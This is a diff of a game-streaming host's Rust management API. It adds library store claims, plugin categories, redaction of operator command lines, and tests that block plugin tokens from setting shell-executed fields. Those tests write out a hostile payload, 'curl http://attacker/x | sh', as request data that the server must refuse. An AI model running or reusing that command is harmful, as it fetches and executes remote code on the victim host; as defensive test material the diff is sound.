||||
return Some(api_error(
|
||||
StatusCode::FORBIDDEN,
|
||||
&format!(
|
||||
"`{field}` is executed as the host user and may only be set with the \
|
||||
operator's admin token — a plugin may publish entries with any host-resolved \
|
||||
launch kind (steam_appid, steam_ui, launcher_ui, epic, gog, aumid, lutris_id, heroic) \
|
||||
instead"
|
||||
),
|
||||
));
|
||||
}
|
||||
}
|
||||
crate::library::validate_art_paths(art)
|
||||
.err()
|
||||
.map(|e| api_error(StatusCode::BAD_REQUEST, &e))
|
||||
}
|
||||
|
||||
#[derive(Deserialize)]
|
||||
pub(crate) struct LibraryQuery {
|
||||
@@ -34,6 +72,7 @@ pub(crate) struct LibraryQuery {
|
||||
)
|
||||
)]
|
||||
pub(crate) async fn get_library(
|
||||
Extension(lane): Extension<AuthLane>,
|
||||
Query(q): Query<LibraryQuery>,
|
||||
) -> Json<Vec<crate::library::GameEntry>> {
|
||||
let mut games = crate::library::all_games();
|
||||
@@ -54,6 +93,24 @@ pub(crate) async fn get_library(
|
||||
for g in &mut games {
|
||||
crate::library::proxy_local_art(&g.id, &mut g.art);
|
||||
}
|
||||
// Redact the operator's command lines for every lane but their own (2026-08-05 review L-1).
|
||||
//
|
||||
// `cert_may_access` allows `GET /library`, so this response goes to every paired STREAMING
|
||||
// client on the LAN — and for a custom entry `launch.value` is the raw shell command or
|
||||
// absolute exe path the operator typed. The adjacent `detect` field is `#[serde(skip)]` for
|
||||
// exactly this reason; `launch` simply never got the same treatment. Clients don't need it:
|
||||
// a client picks a title by ID and the host resolves the recipe itself (`resolve_launch`),
|
||||
// which is the invariant that stops a client injecting a command in the first place. The
|
||||
// `kind` stays, so "this is launchable, and how" still renders.
|
||||
if !lane.may_set_privileged_fields() {
|
||||
for g in &mut games {
|
||||
if let Some(l) = g.launch.as_mut() {
|
||||
if l.kind == "command" {
|
||||
l.value.clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Json(games)
|
||||
}
|
||||
|
||||
@@ -141,11 +198,15 @@ pub(crate) async fn set_library_scanner(
|
||||
)
|
||||
)]
|
||||
pub(crate) async fn create_custom_game(
|
||||
Extension(lane): Extension<AuthLane>,
|
||||
ApiJson(input): ApiJson<crate::library::CustomInput>,
|
||||
) -> Response {
|
||||
if input.title.trim().is_empty() {
|
||||
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
|
||||
}
|
||||
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
|
||||
return denied;
|
||||
}
|
||||
match crate::library::add_custom(input) {
|
||||
Ok(entry) => (StatusCode::CREATED, Json(entry)).into_response(),
|
||||
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
|
||||
@@ -169,12 +230,16 @@ pub(crate) async fn create_custom_game(
|
||||
)
|
||||
)]
|
||||
pub(crate) async fn update_custom_game(
|
||||
Extension(lane): Extension<AuthLane>,
|
||||
Path(id): Path<String>,
|
||||
ApiJson(input): ApiJson<crate::library::CustomInput>,
|
||||
) -> Response {
|
||||
if input.title.trim().is_empty() {
|
||||
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
|
||||
}
|
||||
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
|
||||
return denied;
|
||||
}
|
||||
use crate::library::MutateOutcome;
|
||||
match crate::library::update_custom(&id, input) {
|
||||
Ok(MutateOutcome::Done(entry)) => Json(entry).into_response(),
|
||||
@@ -185,6 +250,11 @@ pub(crate) async fn update_custom_game(
|
||||
StatusCode::CONFLICT,
|
||||
&format!("entry is owned by provider `{p}` — update it through its reconcile"),
|
||||
),
|
||||
// Store claims are a reconcile-only concern — the manual CRUD never requests one.
|
||||
Ok(MutateOutcome::StoreClaimed { .. }) => api_error(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
"unexpected claim outcome",
|
||||
),
|
||||
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
|
||||
}
|
||||
}
|
||||
@@ -216,6 +286,11 @@ pub(crate) async fn delete_custom_game(Path(id): Path<String>) -> Response {
|
||||
"entry is owned by provider `{p}` — remove it there, or DELETE the provider set"
|
||||
),
|
||||
),
|
||||
// Store claims are a reconcile-only concern — the manual CRUD never requests one.
|
||||
Ok(MutateOutcome::StoreClaimed { .. }) => api_error(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
"unexpected claim outcome",
|
||||
),
|
||||
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
|
||||
}
|
||||
}
|
||||
@@ -227,6 +302,13 @@ pub(crate) struct ProviderRemoved {
|
||||
removed: usize,
|
||||
}
|
||||
|
||||
/// Query for `reconcileProviderEntries` — the optional store claim (D2).
|
||||
#[derive(Deserialize)]
|
||||
pub(crate) struct ReconcileQuery {
|
||||
/// Claim this store for the provider, so its entries take the store's own identity.
|
||||
store: Option<String>,
|
||||
}
|
||||
|
||||
/// Replace a provider's library entries (declarative reconcile)
|
||||
///
|
||||
/// Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the
|
||||
@@ -234,39 +316,80 @@ pub(crate) struct ProviderRemoved {
|
||||
/// surviving title's host id stable across reconciles, drops orphans, and never touches manual
|
||||
/// entries or other providers'. An empty array removes everything the provider owns. Emits
|
||||
/// `library.changed` with the provider as `source`.
|
||||
///
|
||||
/// `?store=` additionally **claims** that store for the provider: its entries then surface with
|
||||
/// deterministic `<store>:<external_id>` ids and the store's own badge, instead of opaque
|
||||
/// `custom:<id>` ones — which is what lets a library plugin reproduce the entries an in-host scanner
|
||||
/// used to produce, right down to the GameStream app ids and client-side art caches. One provider
|
||||
/// per store; a second claimant gets 409. While a claim is held the matching built-in scanner is
|
||||
/// suppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty
|
||||
/// reconcile (a store can legitimately have zero installed titles).
|
||||
#[utoipa::path(
|
||||
put,
|
||||
path = "/library/provider/{provider}",
|
||||
tag = "library",
|
||||
operation_id = "reconcileProviderEntries",
|
||||
params(("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)")),
|
||||
params(
|
||||
("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)"),
|
||||
("store" = Option<String>, Query, description = "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)"),
|
||||
),
|
||||
request_body = Vec<crate::library::ProviderEntryInput>,
|
||||
responses(
|
||||
(status = OK, description = "The provider's resulting entries (host ids assigned/kept)", body = [crate::library::CustomEntry]),
|
||||
(status = BAD_REQUEST, description = "Invalid provider id or payload", body = ApiError),
|
||||
(status = BAD_REQUEST, description = "Invalid provider id, store id, or payload", body = ApiError),
|
||||
(status = UNAUTHORIZED, description = "Missing or invalid bearer token", body = ApiError),
|
||||
(status = CONFLICT, description = "That store is already claimed by another provider", body = ApiError),
|
||||
(status = INTERNAL_SERVER_ERROR, description = "Could not persist the catalog", body = ApiError),
|
||||
)
|
||||
)]
|
||||
pub(crate) async fn reconcile_provider_entries(
|
||||
Extension(lane): Extension<AuthLane>,
|
||||
Path(provider): Path<String>,
|
||||
Query(q): Query<ReconcileQuery>,
|
||||
ApiJson(inputs): ApiJson<Vec<crate::library::ProviderEntryInput>>,
|
||||
) -> Response {
|
||||
if let Err(e) = crate::library::validate_provider_name(&provider) {
|
||||
return api_error(StatusCode::BAD_REQUEST, &e);
|
||||
}
|
||||
let store = q.store.filter(|s| !s.is_empty());
|
||||
if let Some(store) = &store {
|
||||
if let Err(e) = crate::library::validate_store_claim(store) {
|
||||
return api_error(StatusCode::BAD_REQUEST, &e);
|
||||
}
|
||||
}
|
||||
if let Err(e) = crate::library::validate_provider_payload(&inputs) {
|
||||
return api_error(StatusCode::BAD_REQUEST, &e);
|
||||
}
|
||||
match crate::library::reconcile_provider(&provider, inputs) {
|
||||
Ok(entries) => {
|
||||
// Every entry in the payload, not just the first — a reconcile replaces a whole entry set, so
|
||||
// one privileged field anywhere in it is one command execution.
|
||||
for (i, e) in inputs.iter().enumerate() {
|
||||
if let Some(denied) = check_entry_fields(lane, &e.art, e.launch.as_ref(), &e.prep) {
|
||||
tracing::warn!(
|
||||
provider,
|
||||
index = i,
|
||||
"library reconcile refused: payload carries a field this lane may not set"
|
||||
);
|
||||
return denied;
|
||||
}
|
||||
}
|
||||
match crate::library::reconcile_provider(&provider, store.as_deref(), inputs) {
|
||||
Ok(crate::library::MutateOutcome::Done(entries)) => {
|
||||
tracing::info!(
|
||||
provider,
|
||||
store = store.as_deref().unwrap_or("-"),
|
||||
count = entries.len(),
|
||||
"library provider reconciled"
|
||||
);
|
||||
Json(entries).into_response()
|
||||
}
|
||||
Ok(crate::library::MutateOutcome::StoreClaimed { store, provider }) => api_error(
|
||||
StatusCode::CONFLICT,
|
||||
&format!("store `{store}` is already claimed by provider `{provider}`"),
|
||||
),
|
||||
Ok(_) => api_error(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
"unexpected reconcile outcome",
|
||||
),
|
||||
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
|
||||
}
|
||||
}
|
||||
@@ -306,11 +429,12 @@ pub(crate) async fn delete_provider_entries(Path(provider): Path<String>) -> Res
|
||||
/// Fetch one cover-art image for a library entry
|
||||
///
|
||||
/// Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams
|
||||
/// the image bytes. For a Steam title, the host's own local Steam cache is tried first (exact —
|
||||
/// it's what the user's Steam client already shows for it), the public Steam CDN's flat URL
|
||||
/// convention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host
|
||||
/// can't predict, in which case this 404s and the client falls through to its next art candidate).
|
||||
/// Only Steam ids are backed today; any other store 404s.
|
||||
/// the image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries,
|
||||
/// and a library plugin's claimed-store entries) serves its local art file. A Steam title falls back
|
||||
/// to the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the
|
||||
/// user's Steam client already shows for it), the public Steam CDN's flat URL convention second
|
||||
/// (newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case
|
||||
/// this 404s and the client falls through to its next art candidate).
|
||||
#[utoipa::path(
|
||||
get,
|
||||
path = "/library/art/{id}/{kind}",
|
||||
@@ -330,7 +454,20 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) ->
|
||||
let Some(kind) = crate::library::ArtKind::parse(&kind) else {
|
||||
return api_error(StatusCode::NOT_FOUND, "unknown art kind");
|
||||
};
|
||||
// Steam: CDN / local-cache proxy (id `steam:<appid>`).
|
||||
// `library.json` FIRST, for ANY id (WP1.2). Stored entries — manual, provider-synced, and (once
|
||||
// store claims land) a scanner plugin's `steam:570` — all serve their local art file from here,
|
||||
// so the proxy never has to know which store an id belongs to. Steam ids aren't stored today, so
|
||||
// this misses and the legacy branch below still answers them.
|
||||
let stored = {
|
||||
let id = id.clone();
|
||||
tokio::task::spawn_blocking(move || crate::library::library_local_art_bytes(&id, kind))
|
||||
.await
|
||||
};
|
||||
if let Ok(Some((bytes, ctype))) = stored {
|
||||
return ([(header::CONTENT_TYPE, ctype)], bytes).into_response();
|
||||
}
|
||||
// Legacy in-host Steam scanner: local Steam cache, then the flat CDN URL. Retired with the
|
||||
// scanner itself once the steam plugin claims the store (M6).
|
||||
if let Some(appid) = id
|
||||
.strip_prefix("steam:")
|
||||
.and_then(|s| s.parse::<u32>().ok())
|
||||
@@ -344,17 +481,5 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) ->
|
||||
_ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"),
|
||||
};
|
||||
}
|
||||
// Custom/provider entry (id `custom:<id>`): serve its stored LOCAL art file — e.g. the Playnite
|
||||
// plugin's covers, reconciled as on-host paths rather than inlined bytes.
|
||||
if let Some(cid) = id.strip_prefix("custom:").map(str::to_owned) {
|
||||
return match tokio::task::spawn_blocking(move || {
|
||||
crate::library::custom_local_art_bytes(&cid, kind)
|
||||
})
|
||||
.await
|
||||
{
|
||||
Ok(Some((bytes, ctype))) => ([(header::CONTENT_TYPE, ctype)], bytes).into_response(),
|
||||
_ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"),
|
||||
};
|
||||
}
|
||||
api_error(StatusCode::NOT_FOUND, "no art proxy for this store")
|
||||
api_error(StatusCode::NOT_FOUND, "no art of that kind for this title")
|
||||
}
|
||||
|
||||
@@ -64,6 +64,14 @@ pub(crate) struct PluginRegistration {
|
||||
/// entry only (e.g. a future runner-management listing) and grows no nav entry.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub ui: Option<PluginUi>,
|
||||
/// What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`
|
||||
/// because it describes the plugin, not its surface. The console knows one value today —
|
||||
/// `library` — which it filters **out of the nav**: six installed scanner plugins would otherwise
|
||||
/// flood the sidebar, and their real entry point is the Game sources surface (design D5). A
|
||||
/// library plugin that genuinely wants its own page (rom-manager, which is much more than a
|
||||
/// scanner) simply omits the category.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub category: Option<String>,
|
||||
}
|
||||
|
||||
/// One log line produced by the runner or a plugin inside it (`POST /plugins/logs`).
|
||||
@@ -104,6 +112,9 @@ pub(crate) struct PluginSummary {
|
||||
pub version: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub ui: Option<PluginUiPublic>,
|
||||
/// The plugin's kind — see [`PluginRegistration::category`].
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub category: Option<String>,
|
||||
}
|
||||
|
||||
/// `GET /plugins/{id}/ui-credential` — the console proxy's server-side lookup (bearer + loopback).
|
||||
@@ -129,14 +140,19 @@ struct Stored {
|
||||
title: String,
|
||||
version: Option<String>,
|
||||
ui: Option<StoredUi>,
|
||||
category: Option<String>,
|
||||
expires_at: Instant,
|
||||
}
|
||||
|
||||
impl Stored {
|
||||
/// Do the operator-visible fields match (ignoring the lease clock)? A pure lease renewal leaves
|
||||
/// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon) does.
|
||||
fn public_eq(&self, title: &str, version: &Option<String>, ui: &Option<StoredUi>) -> bool {
|
||||
self.title == title && self.version == *version && self.ui == *ui
|
||||
/// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon/
|
||||
/// category) does.
|
||||
fn public_eq(&self, v: &Valid) -> bool {
|
||||
self.title == v.title
|
||||
&& self.version == v.version
|
||||
&& self.ui == v.ui
|
||||
&& self.category == v.category
|
||||
}
|
||||
}
|
||||
|
||||
@@ -150,6 +166,7 @@ struct Valid {
|
||||
title: String,
|
||||
version: Option<String>,
|
||||
ui: Option<StoredUi>,
|
||||
category: Option<String>,
|
||||
}
|
||||
|
||||
impl PluginRegistry {
|
||||
@@ -167,7 +184,7 @@ impl PluginRegistry {
|
||||
let mut map = self.inner.write().unwrap_or_else(|e| e.into_inner());
|
||||
let changed = match map.get(id) {
|
||||
// An *expired* prior entry counts as a change (it had stopped listing).
|
||||
Some(prev) => !prev.is_live() || !prev.public_eq(&v.title, &v.version, &v.ui),
|
||||
Some(prev) => !prev.is_live() || !prev.public_eq(&v),
|
||||
None => true,
|
||||
};
|
||||
map.insert(
|
||||
@@ -176,6 +193,7 @@ impl PluginRegistry {
|
||||
title: v.title,
|
||||
version: v.version,
|
||||
ui: v.ui,
|
||||
category: v.category,
|
||||
expires_at,
|
||||
},
|
||||
);
|
||||
@@ -207,6 +225,7 @@ impl PluginRegistry {
|
||||
port: u.port,
|
||||
icon: u.icon.clone(),
|
||||
}),
|
||||
category: s.category.clone(),
|
||||
})
|
||||
.collect();
|
||||
live.sort_by(|a, b| a.title.cmp(&b.title).then_with(|| a.id.cmp(&b.id)));
|
||||
@@ -333,7 +352,31 @@ fn validate(reg: PluginRegistration) -> Result<Valid, String> {
|
||||
Some(u) => Some(validate_ui(u)?),
|
||||
None => None,
|
||||
};
|
||||
Ok(Valid { title, version, ui })
|
||||
// Categories are grouping keys the console switches on — a closed charset, but deliberately not
|
||||
// a closed VOCABULARY: an unknown category is stored and simply matches no console rule, so a
|
||||
// newer plugin registering against an older host degrades to "shows in the nav", never to a
|
||||
// failed registration.
|
||||
let category = match reg.category {
|
||||
Some(c) => {
|
||||
let ok = (1..=32).contains(&c.len())
|
||||
&& c.starts_with(|ch: char| ch.is_ascii_lowercase())
|
||||
&& c.bytes()
|
||||
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-');
|
||||
if !ok {
|
||||
return Err(
|
||||
"category must be 1–32 chars of [a-z0-9-], starting with a letter".into(),
|
||||
);
|
||||
}
|
||||
Some(c)
|
||||
}
|
||||
None => None,
|
||||
};
|
||||
Ok(Valid {
|
||||
title,
|
||||
version,
|
||||
ui,
|
||||
category,
|
||||
})
|
||||
}
|
||||
|
||||
fn validate_ui(u: PluginUi) -> Result<StoredUi, String> {
|
||||
@@ -558,6 +601,7 @@ mod tests {
|
||||
secret: secret.into(),
|
||||
icon: Some("gamepad-2".into()),
|
||||
}),
|
||||
category: None,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -584,10 +628,30 @@ mod tests {
|
||||
title: "Ro\u{7}m\n".into(),
|
||||
version: None,
|
||||
ui: None,
|
||||
category: None,
|
||||
})
|
||||
.unwrap();
|
||||
assert_eq!(v.title, "Rom");
|
||||
// privileged port rejected
|
||||
// Category charset (WP2.7): the console's one known value passes; the shapes that would
|
||||
// break a grouping key don't. An UNKNOWN-but-well-formed category is accepted on purpose —
|
||||
// a newer plugin must not fail to register against an older host.
|
||||
let lib = |c: &str| PluginRegistration {
|
||||
title: "X".into(),
|
||||
version: None,
|
||||
ui: None,
|
||||
category: Some(c.into()),
|
||||
};
|
||||
assert_eq!(
|
||||
validate(lib("library")).unwrap().category.as_deref(),
|
||||
Some("library")
|
||||
);
|
||||
assert!(validate(lib("some-future-kind")).is_ok());
|
||||
assert!(validate(lib("")).is_err());
|
||||
assert!(validate(lib("Library")).is_err()); // no uppercase
|
||||
assert!(validate(lib("9lives")).is_err()); // must start with a letter
|
||||
assert!(validate(lib("lib_rary")).is_err()); // no underscore
|
||||
assert!(validate(lib(&"a".repeat(33))).is_err()); // too long
|
||||
// privileged port rejected
|
||||
assert!(validate(reg("x", 80, SECRET)).is_err());
|
||||
// short secret rejected
|
||||
assert!(validate(reg("x", 49321, "tooshort")).is_err());
|
||||
@@ -641,6 +705,7 @@ mod tests {
|
||||
title: "Headless".into(),
|
||||
version: None,
|
||||
ui: None,
|
||||
category: None,
|
||||
})
|
||||
.unwrap(),
|
||||
);
|
||||
|
||||
@@ -108,6 +108,14 @@ pub(crate) struct CatalogEntry {
|
||||
/// A revocation covering the catalogued version — do not offer this without shouting.
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub blocked: Option<String>,
|
||||
/// What kind of plugin this is — the console filters Browse by these, and the Game sources
|
||||
/// surface's "Add a source" rail shows exactly the `library` ones (design D5/D6).
|
||||
pub categories: Vec<String>,
|
||||
/// Whether the launcher this plugin scans looks **installed on this host** (design D8), from the
|
||||
/// index's own existence probes. `null` = the entry declares no probes for this platform, which
|
||||
/// the console renders as "unknown" rather than "not installed".
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub detected: Option<bool>,
|
||||
}
|
||||
|
||||
#[derive(Serialize, ToSchema)]
|
||||
@@ -277,6 +285,8 @@ fn build_catalog(force: bool) -> CatalogResponse {
|
||||
update_available: installed_version.as_deref().is_some_and(|v| v != e.version),
|
||||
installed_version,
|
||||
blocked: store::advisory_for(&e.pkg, Some(&e.version)).map(|a| a.reason),
|
||||
categories: e.categories.clone(),
|
||||
detected: e.detected(),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1042,6 +1042,297 @@ async fn plugin_log_ingest_lands_in_the_ring() {
|
||||
assert_eq!(status, StatusCode::BAD_REQUEST);
|
||||
}
|
||||
|
||||
/// **The plugin lane reaches the library writes but cannot make them run a command** — the H-1 fix.
|
||||
///
|
||||
/// A provider plugin must be able to reconcile its own entry set, so the ROUTE stays open to it.
|
||||
/// What is refused is the pair of fields inside the payload that the host later executes verbatim as
|
||||
/// the host user (`/bin/sh -c` on Linux, `cmd.exe /c` on Windows): `prep`, and a `command` launch.
|
||||
/// Those are the operator's authority, and the whole trust argument at their execution sites is that
|
||||
/// a human typed them into the admin console.
|
||||
#[tokio::test]
|
||||
async fn plugin_lane_cannot_set_command_execution_fields() {
|
||||
let app = test_app(test_state(), None); // admin "test-secret", plugin "plugin-secret"
|
||||
|
||||
let as_lane = |token: &str, method: &str, path: &str, body: serde_json::Value| {
|
||||
axum::http::Request::builder()
|
||||
.method(method)
|
||||
.uri(path)
|
||||
.header("content-type", "application/json")
|
||||
.header("authorization", format!("Bearer {token}"))
|
||||
.body(Body::from(body.to_string()))
|
||||
.unwrap()
|
||||
};
|
||||
|
||||
// The two shapes of the primitive, on the two routes that carry it.
|
||||
let prep = serde_json::json!({
|
||||
"title": "Pwned",
|
||||
"prep": [{"do": "curl http://attacker/x | sh"}],
|
||||
});
|
||||
let command = serde_json::json!({
|
||||
"title": "Pwned",
|
||||
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"},
|
||||
});
|
||||
for (path, method) in [
|
||||
("/api/v1/library/custom", "POST"),
|
||||
("/api/v1/library/custom/some-id", "PUT"),
|
||||
] {
|
||||
for body in [&prep, &command] {
|
||||
let (status, err) =
|
||||
send(&app, as_lane("plugin-secret", method, path, body.clone())).await;
|
||||
assert_eq!(
|
||||
status,
|
||||
StatusCode::FORBIDDEN,
|
||||
"plugin token must not set an executed field via {method} {path}"
|
||||
);
|
||||
assert!(
|
||||
err["error"].as_str().unwrap().contains("host user"),
|
||||
"the refusal should say why: {err}"
|
||||
);
|
||||
}
|
||||
}
|
||||
// The reconcile route replaces a WHOLE entry set, so every entry is checked — not just the
|
||||
// first. A payload that hides the primitive behind a benign leading entry is still refused.
|
||||
let sneaky = serde_json::json!([
|
||||
{"external_id": "a", "title": "Innocent"},
|
||||
{"external_id": "b", "title": "Pwned",
|
||||
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"}},
|
||||
]);
|
||||
let (status, _) = send(
|
||||
&app,
|
||||
as_lane(
|
||||
"plugin-secret",
|
||||
"PUT",
|
||||
"/api/v1/library/provider/romm",
|
||||
sneaky,
|
||||
),
|
||||
)
|
||||
.await;
|
||||
assert_eq!(
|
||||
status,
|
||||
StatusCode::FORBIDDEN,
|
||||
"a privileged field anywhere in a reconcile payload must be refused"
|
||||
);
|
||||
|
||||
// Every refusal above happens BEFORE the catalog is touched, so this test never writes to the
|
||||
// host config dir. The converse — that the operator's own lane may set these fields, and that a
|
||||
// plugin's ordinary catalogue is unaffected — is `library::tests::privileged_field_is_command_
|
||||
// execution_only`, which needs no filesystem either.
|
||||
assert!(
|
||||
crate::mgmt::auth::AuthLane::Admin.may_set_privileged_fields(),
|
||||
"the operator's token is the lane these fields belong to"
|
||||
);
|
||||
assert!(!crate::mgmt::auth::AuthLane::Plugin.may_set_privileged_fields());
|
||||
assert!(!crate::mgmt::auth::AuthLane::Cert.may_set_privileged_fields());
|
||||
}
|
||||
|
||||
/// **Every route in the live table is explicitly classified for both non-admin lanes.**
|
||||
///
|
||||
/// This is the test whose absence produced H-1 and H-2 in the 2026-08-05 review. `plugin_may_access`
|
||||
/// used to be a denylist, so a route added after the list was written was granted to the plugin
|
||||
/// token silently and no test failed — which is exactly how `/api/v1/library`'s two copies of the
|
||||
/// command-execution primitive, and the unconfined art proxy, ended up on the plugin lane across
|
||||
/// ~1450 commits.
|
||||
///
|
||||
/// The gate is an allowlist now, so the failure mode has flipped: a new route is DENIED until it is
|
||||
/// classified. This test makes that classification a conscious, reviewed act rather than a silent
|
||||
/// default in either direction — adding a route fails the build until its row is added here, and the
|
||||
/// row is where a reviewer looks to ask "should a plugin really reach this?".
|
||||
#[test]
|
||||
fn every_route_is_classified_for_the_plugin_and_cert_lanes() {
|
||||
use axum::http::Method;
|
||||
|
||||
// (method, path template, plugin token may reach, paired streaming cert may reach).
|
||||
// EXHAUSTIVE over the live route table — no wildcards, no prefixes, one row per operation.
|
||||
const EXPECTED: &[(&str, &str, bool, bool)] = &[
|
||||
// ---- host / status: readable by a plugin; the small read-only set is the cert lane's.
|
||||
("GET", "/api/v1/health", true, false), // always open, handled before either gate
|
||||
("GET", "/api/v1/host", true, true),
|
||||
("GET", "/api/v1/status", true, true),
|
||||
("GET", "/api/v1/local/summary", true, false), // loopback-only, handled before the gates
|
||||
("GET", "/api/v1/compositors", true, true),
|
||||
("GET", "/api/v1/events", true, false),
|
||||
("GET", "/api/v1/logs", true, false),
|
||||
// ---- paired-device rosters: readable by a plugin, never by another paired client, and
|
||||
// removal is pairing administration in both lanes.
|
||||
("GET", "/api/v1/clients", true, false),
|
||||
("DELETE", "/api/v1/clients/{fingerprint}", false, false),
|
||||
("GET", "/api/v1/native/clients", true, false),
|
||||
(
|
||||
"DELETE",
|
||||
"/api/v1/native/clients/{fingerprint}",
|
||||
false,
|
||||
false,
|
||||
),
|
||||
// ---- pairing administration + PIN visibility: the operator's token alone.
|
||||
("GET", "/api/v1/pair", false, false),
|
||||
("POST", "/api/v1/pair/pin", false, false),
|
||||
("GET", "/api/v1/native/pair", false, false),
|
||||
("DELETE", "/api/v1/native/pair", false, false),
|
||||
("POST", "/api/v1/native/pair/arm", false, false),
|
||||
("GET", "/api/v1/native/pending", false, false),
|
||||
("POST", "/api/v1/native/pending/{id}/approve", false, false),
|
||||
("POST", "/api/v1/native/pending/{id}/deny", false, false),
|
||||
// ---- GPU + display: host configuration, no privilege boundary.
|
||||
("GET", "/api/v1/gpus", true, false),
|
||||
("PUT", "/api/v1/gpus/preference", true, false),
|
||||
("GET", "/api/v1/display/settings", true, false),
|
||||
("PUT", "/api/v1/display/settings", true, false),
|
||||
("GET", "/api/v1/display/state", true, false),
|
||||
("GET", "/api/v1/display/monitors", true, false),
|
||||
("PUT", "/api/v1/display/layout", true, false),
|
||||
("POST", "/api/v1/display/release", true, false),
|
||||
("GET", "/api/v1/display/presets", true, false),
|
||||
("POST", "/api/v1/display/presets", true, false),
|
||||
("PUT", "/api/v1/display/presets/{id}", true, false),
|
||||
("DELETE", "/api/v1/display/presets/{id}", true, false),
|
||||
// ---- session control.
|
||||
("DELETE", "/api/v1/session", true, false),
|
||||
("POST", "/api/v1/session/idr", true, false),
|
||||
("GET", "/api/v1/session/settings", true, false),
|
||||
("PUT", "/api/v1/session/settings", true, false),
|
||||
("POST", "/api/v1/game/end", true, false),
|
||||
// ---- library. The plugin lane reaches the writes (a scanner plugin's whole job), but the
|
||||
// operator-privileged FIELDS inside those payloads are refused in the handler — see
|
||||
// `plugin_lane_cannot_set_command_execution_fields`.
|
||||
("GET", "/api/v1/library", true, true),
|
||||
("GET", "/api/v1/library/art/{id}/{kind}", true, true),
|
||||
("GET", "/api/v1/library/scanners", true, false),
|
||||
("PUT", "/api/v1/library/scanners/{id}", true, false),
|
||||
("POST", "/api/v1/library/custom", true, false),
|
||||
("PUT", "/api/v1/library/custom/{id}", true, false),
|
||||
("DELETE", "/api/v1/library/custom/{id}", true, false),
|
||||
("PUT", "/api/v1/library/provider/{provider}", true, false),
|
||||
("DELETE", "/api/v1/library/provider/{provider}", true, false),
|
||||
// ---- stats.
|
||||
("POST", "/api/v1/stats/capture/start", true, false),
|
||||
("POST", "/api/v1/stats/capture/stop", true, false),
|
||||
("GET", "/api/v1/stats/capture/status", true, false),
|
||||
("GET", "/api/v1/stats/capture/live", true, false),
|
||||
("GET", "/api/v1/stats/recordings", true, false),
|
||||
("GET", "/api/v1/stats/recordings/{id}", true, false),
|
||||
("DELETE", "/api/v1/stats/recordings/{id}", true, false),
|
||||
// ---- plugins: its own directory entry and log ingest, never another plugin's UI secret.
|
||||
("GET", "/api/v1/plugins", true, false),
|
||||
("POST", "/api/v1/plugins/logs", true, false),
|
||||
("PUT", "/api/v1/plugins/{id}", true, false),
|
||||
("DELETE", "/api/v1/plugins/{id}", true, false),
|
||||
("GET", "/api/v1/plugins/{id}/ui-credential", false, false),
|
||||
// ---- hooks: writing is command execution as the host user; reading exposes webhook creds.
|
||||
("GET", "/api/v1/hooks", false, false),
|
||||
("PUT", "/api/v1/hooks", false, false),
|
||||
// ---- the store: installing a plugin runs new code with operator privileges.
|
||||
("GET", "/api/v1/store/catalog", false, false),
|
||||
("POST", "/api/v1/store/refresh", false, false),
|
||||
("GET", "/api/v1/store/installed", false, false),
|
||||
("POST", "/api/v1/store/install", false, false),
|
||||
("POST", "/api/v1/store/uninstall", false, false),
|
||||
("GET", "/api/v1/store/jobs", false, false),
|
||||
("GET", "/api/v1/store/jobs/{id}", false, false),
|
||||
("GET", "/api/v1/store/sources", false, false),
|
||||
("PUT", "/api/v1/store/sources/{name}", false, false),
|
||||
("DELETE", "/api/v1/store/sources/{name}", false, false),
|
||||
("GET", "/api/v1/store/runtime", false, false),
|
||||
("POST", "/api/v1/store/runtime", false, false),
|
||||
// ---- updates: `apply` runs an installer / the root helper.
|
||||
("GET", "/api/v1/update/status", false, false),
|
||||
("POST", "/api/v1/update/check", false, false),
|
||||
("POST", "/api/v1/update/apply", false, false),
|
||||
];
|
||||
|
||||
/// A path template's concrete form: every `{param}` segment becomes a literal, so the gates
|
||||
/// are exercised on the shape a real request has.
|
||||
fn concrete(template: &str) -> String {
|
||||
template
|
||||
.split('/')
|
||||
.map(|s| if s.starts_with('{') { "sample" } else { s })
|
||||
.collect::<Vec<_>>()
|
||||
.join("/")
|
||||
}
|
||||
|
||||
